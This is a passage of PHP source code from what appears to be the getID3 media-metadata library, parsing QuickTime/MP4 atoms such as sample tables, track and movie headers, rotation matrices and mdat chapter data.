$atom_structure['version'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 1)); $atom_structure['flags_raw'] = getid3_lib::BigEndian2Int(substr($atom_data, 1, 3)); // hardcoded: 0x0000 $atom_structure['sample_size'] = getid3_lib::BigEndian2Int(substr($atom_data, 4, 4)); $atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data, 8, 4)); $stszEntriesDataOffset = 12; if ($atom_structure['sample_size'] == 0) { for ($i = 0; $i < $atom_structure['number_entries']; $i++) { $atom_structure['sample_size_table'][$i] = getid3_lib::BigEndian2Int(substr($atom_data, $stszEntriesDataOffset, 4)); $stszEntriesDataOffset += 4; } } } break; case 'stco': // Sample Table Chunk Offset atom // if (true) { if ($ParseAllPossibleAtoms) { $atom_structure['version'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 1)); $atom_structure['flags_raw'] = getid3_lib::BigEndian2Int(substr($atom_data, 1, 3)); // hardcoded: 0x0000 $atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data, 4, 4)); $stcoEntriesDataOffset = 8; for ($i = 0; $i < $atom_structure['number_entries']; $i++) { $atom_structure['chunk_offset_table'][$i] = getid3_lib::BigEndian2Int(substr($atom_data, $stcoEntriesDataOffset, 4)); $stcoEntriesDataOffset += 4; } } break; case 'co64': // Chunk Offset 64-bit (version of "stco" that supports > 2GB files) if ($ParseAllPossibleAtoms) { $atom_structure['version'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 1)); $atom_structure['flags_raw'] = getid3_lib::BigEndian2Int(substr($atom_data, 1, 3)); // hardcoded: 0x0000 $atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data, 4, 4)); $stcoEntriesDataOffset = 8; for ($i = 0; $i < $atom_structure['number_entries']; $i++) { $atom_structure['chunk_offset_table'][$i] = getid3_lib::BigEndian2Int(substr($atom_data, $stcoEntriesDataOffset, 8)); $stcoEntriesDataOffset += 8; } } break; case 'dref': // Data REFerence atom $atom_structure['version'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 1)); $atom_structure['flags_raw'] = getid3_lib::BigEndian2Int(substr($atom_data, 1, 3)); // hardcoded: 0x0000 $atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data, 4, 4)); $drefDataOffset = 8; for ($i = 0; $i < $atom_structure['number_entries']; $i++) { $atom_structure['data_references'][$i]['size'] = getid3_lib::BigEndian2Int(substr($atom_data, $drefDataOffset, 4)); $drefDataOffset += 4; $atom_structure['data_references'][$i]['type'] = substr($atom_data, $drefDataOffset, 4); $drefDataOffset += 4; $atom_structure['data_references'][$i]['version'] = getid3_lib::BigEndian2Int(substr($atom_data, $drefDataOffset, 1)); $drefDataOffset += 1; $atom_structure['data_references'][$i]['flags_raw'] = getid3_lib::BigEndian2Int(substr($atom_data, $drefDataOffset, 3)); // hardcoded: 0x0000 $drefDataOffset += 3; $atom_structure['data_references'][$i]['data'] = substr($atom_data, $drefDataOffset, ($atom_structure['data_references'][$i]['size'] - 4 - 4 - 1 - 3)); $drefDataOffset += ($atom_structure['data_references'][$i]['size'] - 4 - 4 - 1 - 3); $atom_structure['data_references'][$i]['flags']['self_reference'] = (bool) ($atom_structure['data_references'][$i]['flags_raw'] & 0x001); } break; case 'gmin': // base Media INformation atom $atom_structure['version'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 1)); $atom_structure['flags_raw'] = getid3_lib::BigEndian2Int(substr($atom_data, 1, 3)); // hardcoded: 0x0000 $atom_structure['graphics_mode'] = getid3_lib::BigEndian2Int(substr($atom_data, 4, 2)); $atom_structure['opcolor_red'] = getid3_lib::BigEndian2Int(substr($atom_data, 6, 2)); $atom_structure['opcolor_green'] = getid3_lib::BigEndian2Int(substr($atom_data, 8, 2)); $atom_structure['opcolor_blue'] = getid3_lib::BigEndian2Int(substr($atom_data, 10, 2)); $atom_structure['balance'] = getid3_lib::BigEndian2Int(substr($atom_data, 12, 2)); $atom_structure['reserved'] = getid3_lib::BigEndian2Int(substr($atom_data, 14, 2)); break; case 'smhd': // Sound Media information HeaDer atom $atom_structure['version'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 1)); $atom_structure['flags_raw'] = getid3_lib::BigEndian2Int(substr($atom_data, 1, 3)); // hardcoded: 0x0000 $atom_structure['balance'] = getid3_lib::BigEndian2Int(substr($atom_data, 4, 2)); $atom_structure['reserved'] = getid3_lib::BigEndian2Int(substr($atom_data, 6, 2)); break; case 'vmhd': // Video Media information HeaDer atom $atom_structure['version'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 1)); $atom_structure['flags_raw'] = getid3_lib::BigEndian2Int(substr($atom_data, 1, 3)); $atom_structure['graphics_mode'] = getid3_lib::BigEndian2Int(substr($atom_data, 4, 2)); $atom_structure['opcolor_red'] = getid3_lib::BigEndian2Int(substr($atom_data, 6, 2)); $atom_structure['opcolor_green'] = getid3_lib::BigEndian2Int(substr($atom_data, 8, 2)); $atom_structure['opcolor_blue'] = getid3_lib::BigEndian2Int(substr($atom_data, 10, 2)); $atom_structure['flags']['no_lean_ahead'] = (bool) ($atom_structure['flags_raw'] & 0x001); break; case 'hdlr': // HanDLeR reference atom $atom_structure['version'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 1)); $atom_structure['flags_raw'] = getid3_lib::BigEndian2Int(substr($atom_data, 1, 3)); // hardcoded: 0x0000 $atom_structure['component_type'] = substr($atom_data, 4, 4); $atom_structure['component_subtype'] = substr($atom_data, 8, 4); $atom_structure['component_manufacturer'] = substr($atom_data, 12, 4); $atom_structure['component_flags_raw'] = getid3_lib::BigEndian2Int(substr($atom_data, 16, 4)); $atom_structure['component_flags_mask'] = getid3_lib::BigEndian2Int(substr($atom_data, 20, 4)); $atom_structure['component_name'] = $this->MaybePascal2String(substr($atom_data, 24)); if (($atom_structure['component_subtype'] == 'STpn') && ($atom_structure['component_manufacturer'] == 'zzzz')) { $info['video']['dataformat'] = 'quicktimevr'; } break; case 'mdhd': // MeDia HeaDer atom $atom_structure['version'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 1)); $atom_structure['flags_raw'] = getid3_lib::BigEndian2Int(substr($atom_data, 1, 3)); // hardcoded: 0x0000 $atom_structure['creation_time'] = getid3_lib::BigEndian2Int(substr($atom_data, 4, 4)); $atom_structure['modify_time'] = getid3_lib::BigEndian2Int(substr($atom_data, 8, 4)); $atom_structure['time_scale'] = getid3_lib::BigEndian2Int(substr($atom_data, 12, 4)); $atom_structure['duration'] = getid3_lib::BigEndian2Int(substr($atom_data, 16, 4)); $atom_structure['language_id'] = getid3_lib::BigEndian2Int(substr($atom_data, 20, 2)); $atom_structure['quality'] = getid3_lib::BigEndian2Int(substr($atom_data, 22, 2)); if ($atom_structure['time_scale'] == 0) { $this->error('Corrupt Quicktime file: mdhd.time_scale == zero'); return false; } $info['quicktime']['time_scale'] = ((isset($info['quicktime']['time_scale']) && ($info['quicktime']['time_scale'] < 1000)) ? max($info['quicktime']['time_scale'], $atom_structure['time_scale']) : $atom_structure['time_scale']); $atom_structure['creation_time_unix'] = getid3_lib::DateMac2Unix($atom_structure['creation_time']); $atom_structure['modify_time_unix'] = getid3_lib::DateMac2Unix($atom_structure['modify_time']); $atom_structure['playtime_seconds'] = $atom_structure['duration'] / $atom_structure['time_scale']; $atom_structure['language'] = $this->QuicktimeLanguageLookup($atom_structure['language_id']); if (empty($info['comments']['language']) || (!in_array($atom_structure['language'], $info['comments']['language']))) { $info['comments']['language'][] = $atom_structure['language']; } $info['quicktime']['timestamps_unix']['create'][$atom_structure['hierarchy']] = $atom_structure['creation_time_unix']; $info['quicktime']['timestamps_unix']['modify'][$atom_structure['hierarchy']] = $atom_structure['modify_time_unix']; break; case 'pnot': // Preview atom $atom_structure['modification_date'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 4)); // "standard Macintosh format" $atom_structure['version_number'] = getid3_lib::BigEndian2Int(substr($atom_data, 4, 2)); // hardcoded: 0x00 $atom_structure['atom_type'] = substr($atom_data, 6, 4); // usually: 'PICT' $atom_structure['atom_index'] = getid3_lib::BigEndian2Int(substr($atom_data, 10, 2)); // usually: 0x01 $atom_structure['modification_date_unix'] = getid3_lib::DateMac2Unix($atom_structure['modification_date']); $info['quicktime']['timestamps_unix']['modify'][$atom_structure['hierarchy']] = $atom_structure['modification_date_unix']; break; case 'crgn': // Clipping ReGioN atom $atom_structure['region_size'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 2)); // The Region size, Region boundary box, $atom_structure['boundary_box'] = getid3_lib::BigEndian2Int(substr($atom_data, 2, 8)); // and Clipping region data fields $atom_structure['clipping_data'] = substr($atom_data, 10); // constitute a QuickDraw region. break; case 'load': // track LOAD settings atom $atom_structure['preload_start_time'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 4)); $atom_structure['preload_duration'] = getid3_lib::BigEndian2Int(substr($atom_data, 4, 4)); $atom_structure['preload_flags_raw'] = getid3_lib::BigEndian2Int(substr($atom_data, 8, 4)); $atom_structure['default_hints_raw'] = getid3_lib::BigEndian2Int(substr($atom_data, 12, 4)); $atom_structure['default_hints']['double_buffer'] = (bool) ($atom_structure['default_hints_raw'] & 0x0020); $atom_structure['default_hints']['high_quality'] = (bool) ($atom_structure['default_hints_raw'] & 0x0100); break; case 'tmcd': // TiMe CoDe atom case 'chap': // CHAPter list atom case 'sync': // SYNChronization atom case 'scpt': // tranSCriPT atom case 'ssrc': // non-primary SouRCe atom for ($i = 0; $i < strlen($atom_data); $i += 4) { @$atom_structure['track_id'][] = getid3_lib::BigEndian2Int(substr($atom_data, $i, 4)); } break; case 'elst': // Edit LiST atom $atom_structure['version'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 1)); $atom_structure['flags_raw'] = getid3_lib::BigEndian2Int(substr($atom_data, 1, 3)); // hardcoded: 0x0000 $atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data, 4, 4)); for ($i = 0; $i < $atom_structure['number_entries']; $i++ ) { $atom_structure['edit_list'][$i]['track_duration'] = getid3_lib::BigEndian2Int(substr($atom_data, 8 + ($i * 12) + 0, 4)); $atom_structure['edit_list'][$i]['media_time'] = getid3_lib::BigEndian2Int(substr($atom_data, 8 + ($i * 12) + 4, 4)); $atom_structure['edit_list'][$i]['media_rate'] = getid3_lib::FixedPoint16_16(substr($atom_data, 8 + ($i * 12) + 8, 4)); } break; case 'kmat': // compressed MATte atom $atom_structure['version'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 1)); $atom_structure['flags_raw'] = getid3_lib::BigEndian2Int(substr($atom_data, 1, 3)); // hardcoded: 0x0000 $atom_structure['matte_data_raw'] = substr($atom_data, 4); break; case 'ctab': // Color TABle atom $atom_structure['color_table_seed'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 4)); // hardcoded: 0x00000000 $atom_structure['color_table_flags'] = getid3_lib::BigEndian2Int(substr($atom_data, 4, 2)); // hardcoded: 0x8000 $atom_structure['color_table_size'] = getid3_lib::BigEndian2Int(substr($atom_data, 6, 2)) + 1; for ($colortableentry = 0; $colortableentry < $atom_structure['color_table_size']; $colortableentry++) { $atom_structure['color_table'][$colortableentry]['alpha'] = getid3_lib::BigEndian2Int(substr($atom_data, 8 + ($colortableentry * 8) + 0, 2)); $atom_structure['color_table'][$colortableentry]['red'] = getid3_lib::BigEndian2Int(substr($atom_data, 8 + ($colortableentry * 8) + 2, 2)); $atom_structure['color_table'][$colortableentry]['green'] = getid3_lib::BigEndian2Int(substr($atom_data, 8 + ($colortableentry * 8) + 4, 2)); $atom_structure['color_table'][$colortableentry]['blue'] = getid3_lib::BigEndian2Int(substr($atom_data, 8 + ($colortableentry * 8) + 6, 2)); } break; case 'mvhd': // MoVie HeaDer atom $atom_structure['version'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 1)); $atom_structure['flags_raw'] = getid3_lib::BigEndian2Int(substr($atom_data, 1, 3)); $atom_structure['creation_time'] = getid3_lib::BigEndian2Int(substr($atom_data, 4, 4)); $atom_structure['modify_time'] = getid3_lib::BigEndian2Int(substr($atom_data, 8, 4)); $atom_structure['time_scale'] = getid3_lib::BigEndian2Int(substr($atom_data, 12, 4)); $atom_structure['duration'] = getid3_lib::BigEndian2Int(substr($atom_data, 16, 4)); $atom_structure['preferred_rate'] = getid3_lib::FixedPoint16_16(substr($atom_data, 20, 4)); $atom_structure['preferred_volume'] = getid3_lib::FixedPoint8_8(substr($atom_data, 24, 2)); $atom_structure['reserved'] = substr($atom_data, 26, 10); $atom_structure['matrix_a'] = getid3_lib::FixedPoint16_16(substr($atom_data, 36, 4)); $atom_structure['matrix_b'] = getid3_lib::FixedPoint16_16(substr($atom_data, 40, 4)); $atom_structure['matrix_u'] = getid3_lib::FixedPoint2_30(substr($atom_data, 44, 4)); $atom_structure['matrix_c'] = getid3_lib::FixedPoint16_16(substr($atom_data, 48, 4)); $atom_structure['matrix_d'] = getid3_lib::FixedPoint16_16(substr($atom_data, 52, 4)); $atom_structure['matrix_v'] = getid3_lib::FixedPoint2_30(substr($atom_data, 56, 4)); $atom_structure['matrix_x'] = getid3_lib::FixedPoint16_16(substr($atom_data, 60, 4)); $atom_structure['matrix_y'] = getid3_lib::FixedPoint16_16(substr($atom_data, 64, 4)); $atom_structure['matrix_w'] = getid3_lib::FixedPoint2_30(substr($atom_data, 68, 4)); $atom_structure['preview_time'] = getid3_lib::BigEndian2Int(substr($atom_data, 72, 4)); $atom_structure['preview_duration'] = getid3_lib::BigEndian2Int(substr($atom_data, 76, 4)); $atom_structure['poster_time'] = getid3_lib::BigEndian2Int(substr($atom_data, 80, 4)); $atom_structure['selection_time'] = getid3_lib::BigEndian2Int(substr($atom_data, 84, 4)); $atom_structure['selection_duration'] = getid3_lib::BigEndian2Int(substr($atom_data, 88, 4)); $atom_structure['current_time'] = getid3_lib::BigEndian2Int(substr($atom_data, 92, 4)); $atom_structure['next_track_id'] = getid3_lib::BigEndian2Int(substr($atom_data, 96, 4)); if ($atom_structure['time_scale'] == 0) { $this->error('Corrupt Quicktime file: mvhd.time_scale == zero'); return false; } $atom_structure['creation_time_unix'] = getid3_lib::DateMac2Unix($atom_structure['creation_time']); $atom_structure['modify_time_unix'] = getid3_lib::DateMac2Unix($atom_structure['modify_time']); $info['quicktime']['timestamps_unix']['create'][$atom_structure['hierarchy']] = $atom_structure['creation_time_unix']; $info['quicktime']['timestamps_unix']['modify'][$atom_structure['hierarchy']] = $atom_structure['modify_time_unix']; $info['quicktime']['time_scale'] = ((isset($info['quicktime']['time_scale']) && ($info['quicktime']['time_scale'] < 1000)) ? max($info['quicktime']['time_scale'], $atom_structure['time_scale']) : $atom_structure['time_scale']); $info['quicktime']['display_scale'] = $atom_structure['matrix_a']; $info['playtime_seconds'] = $atom_structure['duration'] / $atom_structure['time_scale']; break; case 'tkhd': // TracK HeaDer atom $atom_structure['version'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 1)); $atom_structure['flags_raw'] = getid3_lib::BigEndian2Int(substr($atom_data, 1, 3)); $atom_structure['creation_time'] = getid3_lib::BigEndian2Int(substr($atom_data, 4, 4)); $atom_structure['modify_time'] = getid3_lib::BigEndian2Int(substr($atom_data, 8, 4)); $atom_structure['trackid'] = getid3_lib::BigEndian2Int(substr($atom_data, 12, 4)); $atom_structure['reserved1'] = getid3_lib::BigEndian2Int(substr($atom_data, 16, 4)); $atom_structure['duration'] = getid3_lib::BigEndian2Int(substr($atom_data, 20, 4)); $atom_structure['reserved2'] = getid3_lib::BigEndian2Int(substr($atom_data, 24, 8)); $atom_structure['layer'] = getid3_lib::BigEndian2Int(substr($atom_data, 32, 2)); $atom_structure['alternate_group'] = getid3_lib::BigEndian2Int(substr($atom_data, 34, 2)); $atom_structure['volume'] = getid3_lib::FixedPoint8_8(substr($atom_data, 36, 2)); $atom_structure['reserved3'] = getid3_lib::BigEndian2Int(substr($atom_data, 38, 2)); // http://developer.apple.com/library/mac/#documentation/QuickTime/RM/MovieBasics/MTEditing/K-Chapter/11MatrixFunctions.html // http://developer.apple.com/library/mac/#documentation/QuickTime/qtff/QTFFChap4/qtff4.html#//apple_ref/doc/uid/TP40000939-CH206-18737 $atom_structure['matrix_a'] = getid3_lib::FixedPoint16_16(substr($atom_data, 40, 4)); $atom_structure['matrix_b'] = getid3_lib::FixedPoint16_16(substr($atom_data, 44, 4)); $atom_structure['matrix_u'] = getid3_lib::FixedPoint2_30(substr($atom_data, 48, 4)); $atom_structure['matrix_c'] = getid3_lib::FixedPoint16_16(substr($atom_data, 52, 4)); $atom_structure['matrix_d'] = getid3_lib::FixedPoint16_16(substr($atom_data, 56, 4)); $atom_structure['matrix_v'] = getid3_lib::FixedPoint2_30(substr($atom_data, 60, 4)); $atom_structure['matrix_x'] = getid3_lib::FixedPoint16_16(substr($atom_data, 64, 4)); $atom_structure['matrix_y'] = getid3_lib::FixedPoint16_16(substr($atom_data, 68, 4)); $atom_structure['matrix_w'] = getid3_lib::FixedPoint2_30(substr($atom_data, 72, 4)); $atom_structure['width'] = getid3_lib::FixedPoint16_16(substr($atom_data, 76, 4)); $atom_structure['height'] = getid3_lib::FixedPoint16_16(substr($atom_data, 80, 4)); $atom_structure['flags']['enabled'] = (bool) ($atom_structure['flags_raw'] & 0x0001); $atom_structure['flags']['in_movie'] = (bool) ($atom_structure['flags_raw'] & 0x0002); $atom_structure['flags']['in_preview'] = (bool) ($atom_structure['flags_raw'] & 0x0004); $atom_structure['flags']['in_poster'] = (bool) ($atom_structure['flags_raw'] & 0x0008); $atom_structure['creation_time_unix'] = getid3_lib::DateMac2Unix($atom_structure['creation_time']); $atom_structure['modify_time_unix'] = getid3_lib::DateMac2Unix($atom_structure['modify_time']); $info['quicktime']['timestamps_unix']['create'][$atom_structure['hierarchy']] = $atom_structure['creation_time_unix']; $info['quicktime']['timestamps_unix']['modify'][$atom_structure['hierarchy']] = $atom_structure['modify_time_unix']; // https://www.getid3.org/phpBB3/viewtopic.php?t=1908 // attempt to compute rotation from matrix values // 2017-Dec-28: uncertain if 90/270 are correctly oriented; values returned by FixedPoint16_16 should perhaps be -1 instead of 65535(?) $matrixRotation = 0; switch ($atom_structure['matrix_a'].':'.$atom_structure['matrix_b'].':'.$atom_structure['matrix_c'].':'.$atom_structure['matrix_d']) { case '1:0:0:1': $matrixRotation = 0; break; case '0:1:65535:0': $matrixRotation = 90; break; case '65535:0:0:65535': $matrixRotation = 180; break; case '0:65535:1:0': $matrixRotation = 270; break; default: break; } // https://www.getid3.org/phpBB3/viewtopic.php?t=2468 // The rotation matrix can appear in the Quicktime file multiple times, at least once for each track, // and it's possible that only the video track (or, in theory, one of the video tracks) is flagged as // rotated while the other tracks (e.g. audio) is tagged as rotation=0 (behavior noted on iPhone 8 Plus) // The correct solution would be to check if the TrackID associated with the rotation matrix is indeed // a video track (or the main video track) and only set the rotation then, but since information about // what track is what is not trivially there to be examined, the lazy solution is to set the rotation // if it is found to be nonzero, on the assumption that tracks that don't need it will have rotation set // to zero (and be effectively ignored) and the video track will have rotation set correctly, which will // either be zero and automatically correct, or nonzero and be set correctly. if (!isset($info['video']['rotate']) || (($info['video']['rotate'] == 0) && ($matrixRotation > 0))) { $info['quicktime']['video']['rotate'] = $info['video']['rotate'] = $matrixRotation; } if ($atom_structure['flags']['enabled'] == 1) { if (!isset($info['video']['resolution_x']) || !isset($info['video']['resolution_y'])) { $info['video']['resolution_x'] = $atom_structure['width']; $info['video']['resolution_y'] = $atom_structure['height']; } $info['video']['resolution_x'] = max($info['video']['resolution_x'], $atom_structure['width']); $info['video']['resolution_y'] = max($info['video']['resolution_y'], $atom_structure['height']); $info['quicktime']['video']['resolution_x'] = $info['video']['resolution_x']; $info['quicktime']['video']['resolution_y'] = $info['video']['resolution_y']; } else { // see: https://www.getid3.org/phpBB3/viewtopic.php?t=1295 //if (isset($info['video']['resolution_x'])) { unset($info['video']['resolution_x']); } //if (isset($info['video']['resolution_y'])) { unset($info['video']['resolution_y']); } //if (isset($info['quicktime']['video'])) { unset($info['quicktime']['video']); } } break; case 'iods': // Initial Object DeScriptor atom // http://www.koders.com/c/fid1FAB3E762903DC482D8A246D4A4BF9F28E049594.aspx?s=windows.h // http://libquicktime.sourcearchive.com/documentation/1.0.2plus-pdebian/iods_8c-source.html $offset = 0; $atom_structure['version'] = getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1)); $offset += 1; $atom_structure['flags_raw'] = getid3_lib::BigEndian2Int(substr($atom_data, $offset, 3)); $offset += 3; $atom_structure['mp4_iod_tag'] = getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1)); $offset += 1; $atom_structure['length'] = $this->quicktime_read_mp4_descr_length($atom_data, $offset); //$offset already adjusted by quicktime_read_mp4_descr_length() $atom_structure['object_descriptor_id'] = getid3_lib::BigEndian2Int(substr($atom_data, $offset, 2)); $offset += 2; $atom_structure['od_profile_level'] = getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1)); $offset += 1; $atom_structure['scene_profile_level'] = getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1)); $offset += 1; $atom_structure['audio_profile_id'] = getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1)); $offset += 1; $atom_structure['video_profile_id'] = getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1)); $offset += 1; $atom_structure['graphics_profile_level'] = getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1)); $offset += 1; $atom_structure['num_iods_tracks'] = ($atom_structure['length'] - 7) / 6; // 6 bytes would only be right if all tracks use 1-byte length fields for ($i = 0; $i < $atom_structure['num_iods_tracks']; $i++) { $atom_structure['track'][$i]['ES_ID_IncTag'] = getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1)); $offset += 1; $atom_structure['track'][$i]['length'] = $this->quicktime_read_mp4_descr_length($atom_data, $offset); //$offset already adjusted by quicktime_read_mp4_descr_length() $atom_structure['track'][$i]['track_id'] = getid3_lib::BigEndian2Int(substr($atom_data, $offset, 4)); $offset += 4; } $atom_structure['audio_profile_name'] = $this->QuicktimeIODSaudioProfileName($atom_structure['audio_profile_id']); $atom_structure['video_profile_name'] = $this->QuicktimeIODSvideoProfileName($atom_structure['video_profile_id']); break; case 'ftyp': // FileTYPe (?) atom (for MP4 it seems) $atom_structure['signature'] = substr($atom_data, 0, 4); $atom_structure['unknown_1'] = getid3_lib::BigEndian2Int(substr($atom_data, 4, 4)); $atom_structure['fourcc'] = substr($atom_data, 8, 4); break; case 'mdat': // Media DATa atom // 'mdat' contains the actual data for the audio/video, possibly also subtitles /* due to lack of known documentation, this is a kludge implementation. If you know of documentation on how mdat is properly structed, please send it to info@getid3.org */ // first, skip any 'wide' padding, and second 'mdat' header (with specified size of zero?) $mdat_offset = 0; while (true) { if (substr($atom_data, $mdat_offset, 8) == "\x00\x00\x00\x08".'wide') { $mdat_offset += 8; } elseif (substr($atom_data, $mdat_offset, 8) == "\x00\x00\x00\x00".'mdat') { $mdat_offset += 8; } else { break; } } if (substr($atom_data, $mdat_offset, 4) == 'GPRO') { $GOPRO_chunk_length = getid3_lib::LittleEndian2Int(substr($atom_data, $mdat_offset + 4, 4)); $GOPRO_offset = 8; $atom_structure['GPRO']['raw'] = substr($atom_data, $mdat_offset + 8, $GOPRO_chunk_length - 8); $atom_structure['GPRO']['firmware'] = substr($atom_structure['GPRO']['raw'], 0, 15); $atom_structure['GPRO']['unknown1'] = substr($atom_structure['GPRO']['raw'], 15, 16); $atom_structure['GPRO']['unknown2'] = substr($atom_structure['GPRO']['raw'], 31, 32); $atom_structure['GPRO']['unknown3'] = substr($atom_structure['GPRO']['raw'], 63, 16); $atom_structure['GPRO']['camera'] = substr($atom_structure['GPRO']['raw'], 79, 32); $info['quicktime']['camera']['model'] = rtrim($atom_structure['GPRO']['camera'], "\x00"); } // check to see if it looks like chapter titles, in the form of unterminated strings with a leading 16-bit size field while (($mdat_offset < (strlen($atom_data) - 8)) && ($chapter_string_length = getid3_lib::BigEndian2Int(substr($atom_data, $mdat_offset, 2))) && ($chapter_string_length < 1000) && ($chapter_string_length <= (strlen($atom_data) - $mdat_offset - 2)) && preg_match('#^([\x00-\xFF]{2})([\x20-\xFF]+)$#', substr($atom_data, $mdat_offset, $chapter_string_length + 2), $chapter_matches)) { list($dummy, $chapter_string_length_hex, $chapter_string) = $chapter_matches; $mdat_offset += (2 + $chapter_string_length); @$info['quicktime']['comments']['chapters'][] = $chapter_string; // "encd" atom specifies encoding. In theory could be anything, almost always UTF-8, but may be UTF-16 with BOM (not currently handled) if (substr($atom_data, $mdat_offset, 12) == "\x00\x00\x00\x0C\x65\x6E\x63\x64\x00\x00\x01\x00") { // UTF-8 $mdat_offset += 12; } } if (($atomsize > 8) && (!isset($info['avdataend_tmp']) || ($info['quicktime'][$atomname]['size'] > ($info['avdataend_tmp'] - $info['avdataoffset'])))) { $info['avdataoffset'] = $atom_structure['offset'] + 8; // $info['quicktime'][$atomname]['offset'] + 8; $OldAVDataEnd = $info['avdataend']; $info['avdataend'] = $atom_structure['offset'] + $atom_structure['size']; // $info['quicktime'][$atomname]['offset'] + $info['quicktime'][$atomname]['size']; $getid3_temp = new getID3(); $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); $getid3_temp->info['avdataoffset'] = $info['avdataoffset']; $getid3_temp->info['avdataend'] = $info['avdataend']; $getid3_mp3 = new getid3_mp3($getid3_temp); if ($getid3_mp3->MPEGaudioHeaderValid($getid3_mp3->MPEGaudioHeaderDecode($this->fread(4)))) { $getid3_mp3->getOnlyMPEGaudioInfo($getid3_temp->info['avdataoffset'], false); if (!empty($getid3_temp->info['warning'])) { foreach ($getid3_temp->info['warning'] as $value) { $this->warning($value); } } if (!empty($getid3_temp->info['mpeg'])) { $info['mpeg'] = $getid3_temp->info['mpeg']; if (isset($info['mpeg']['audio'])) { $info['audio']['dataformat'] = 'mp3'; $info['audio']['codec'] = (!empty($info['mpeg']['audio']['encoder']) ? $info['mpeg']['audio']['encoder'] : (!empty($info['mpeg']['audio']['codec']) ? $info['mpeg']['audio']['codec'] : (!empty($info['mpeg']['audio']['LAME']) ? 'LAME' :'mp3'))); $info['audio']['sample_rate'] = $info['mpeg']['audio']['sample_rate']; $info['audio']['channels'] = $info['mpeg']['audio']['channels']; $info['audio']['bitrate'] = $info['mpeg']['audio']['bitrate']; $info['audio']['bitrate_mode'] = strtolower($info['mpeg']['audio']['bitrate_mode']); $info['bitrate'] = $info['audio']['bitrate']; } } } unset($getid3_mp3, $getid3_temp); $info['avdataend'] = $OldAVDataEnd; unset($OldAVDataEnd); } unset($mdat_offset, $chapter_string_length, $chapter_matches); break; case 'free': // FREE space atom case 'skip': // SKIP atom case 'wide': // 64-bit expansion placeholder atom // 'free', 'skip' and 'wide' are just padding, contains no useful data at all // When writing QuickTime files, it is sometimes necessary to update an atom's size. // It is impossible to update a 32-bit atom to a 64-bit atom since the 32-bit atom // is only 8 bytes in size, and the 64-bit atom requires 16 bytes. Therefore, QuickTime // puts an 8-byte placeholder atom before any atoms it may have to update the size of. // In this way, if the atom needs to be converted from a 32-bit to a 64-bit atom, the // placeholder atom can be overwritten to obtain the necessary 8 extra bytes. // The placeholder atom has a type of kWideAtomPlaceholderType ( 'wide' ). break; case 'nsav': // NoSAVe atom // http://developer.apple.com/technotes/tn/tn2038.html $atom_structure['data'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 4)); break; case 'ctyp': // Controller TYPe atom (seen on QTVR) // http://homepages.slingshot.co.nz/~helmboy/quicktime/formats/qtm-layout.txt // some controller names are: // 0x00 + 'std' for linear movie // 'none' for no controls $atom_structure['ctyp'] = substr($atom_data, 0, 4); $info['quicktime']['controller'] = $atom_structure['ctyp']; switch ($atom_structure['ctyp']) { case 'qtvr': $info['video']['dataformat'] = 'quicktimevr'; break; } break; case 'pano': // PANOrama track (seen on QTVR) $atom_structure['pano'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 4)); break; case 'hint': // HINT track case 'hinf': // case 'hinv': // case 'hnti': // $info['quicktime']['hinting'] = true; break; case 'imgt': // IMaGe Track reference (kQTVRImageTrackRefType) (seen on QTVR) for ($i = 0; $i < ($atom_structure['size'] - 8); $i += 4) { $atom_structure['imgt'][] = getid3_lib::BigEndian2Int(substr($atom_data, $i, 4)); } break; // Observed-but-not-handled atom types are just listed here to prevent warnings being generated case 'FXTC': // Something to do with Adobe After Effects (?) case 'PrmA': case 'code': case 'FIEL': // this is NOT "fiel" (Field Ordering) as describe here: http://developer.apple.com/documentation/QuickTime/QTFF/QTFFChap3/chapter_4_section_2.html case 'tapt': // TrackApertureModeDimensionsAID - http://developer.apple.com/documentation/QuickTime/Reference/QT7-1_Update_Reference/Constants/Constants.html // tapt seems to be used to compute the video size [https://www.getid3.org/phpBB3/viewtopic.php?t=838] // * http://lists.apple.com/archives/quicktime-api/2006/Aug/msg00014.html // * http://handbrake.fr/irclogs/handbrake-dev/handbrake-dev20080128_pg2.html case 'ctts':// STCompositionOffsetAID - http://developer.apple.com/documentation/QuickTime/Reference/QTRef_Constants/Reference/reference.html case 'cslg':// STCompositionShiftLeastGreatestAID - http://developer.apple.com/documentation/QuickTime/Reference/QTRef_Constants/Reference/reference.html case 'sdtp':// STSampleDependencyAID - http://developer.apple.com/documentation/QuickTime/Reference/QTRef_Constants/Reference/reference.html case 'stps':// STPartialSyncSampleAID - http://developer.apple.com/documentation/QuickTime/Reference/QTRef_Constants/Reference/reference.html //$atom_structure['data'] = $atom_data; break; case "\xA9".'xyz': // GPS latitude+longitude+altitude $atom_structure['data'] = $atom_data; if 